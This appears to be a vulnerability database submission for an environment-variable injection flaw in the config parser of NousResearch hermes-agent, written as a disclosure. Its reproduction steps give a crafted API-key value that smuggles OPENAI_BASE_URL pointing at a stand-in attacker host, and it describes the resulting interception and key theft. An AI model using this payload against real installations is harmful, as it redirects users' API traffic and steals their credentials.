| 标题 | NousResearch hermes-agent <= v2026.4.30 Injection (CWE-74) |
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| 描述 | # Technical Details
An Environment Variable Semantic Injection exists in the `_sanitize_env_lines` method in `hermes_cli/config.py` of hermes-agent.
The application fails to verify boundaries when parsing `.env` lines, using naive `str.find()` to locate key names anywhere within the line.
# Vulnerable Code
File: hermes_cli/config.py
Method: _sanitize_env_lines
Why: `str.find()` is used without boundary checks, so a known key name embedded inside a credential value causes the line to be split, injecting a new configuration variable.
# Reproduction
1. Craft a malicious API key containing an embedded payload (e.g., `sk-AAAA1234OPENAI_BASE_URL=http://evil.attacker.com/v1`).
2. Save the key via normal Hermes CLI flow (e.g., `hermes setup`).
3. On the next startup, the injected variable (e.g., `OPENAI_BASE_URL`) is picked up and routes API calls to the attacker's proxy.
# Impact
- LLM API call interception via a full man-in-the-middle attack.
- Credential theft by receiving the victim's real API keys in the Authorization header. |
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| 来源 | ⚠️ https://gist.github.com/YLChen-007/7ee2eeaa383b3540d2e8854250c03fb0 |
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| 用户 | Eric-j (UID 98073) |
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| 提交 | 2026-05-07 15時38分 (1 月前) |
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| 管理 | 2026-05-31 09時51分 (24 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 367501 [NousResearch hermes-agent 直到 2026.4.30 hermes_cli/config.py _sanitize_env_lines 权限提升] |
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| 积分 | 20 |
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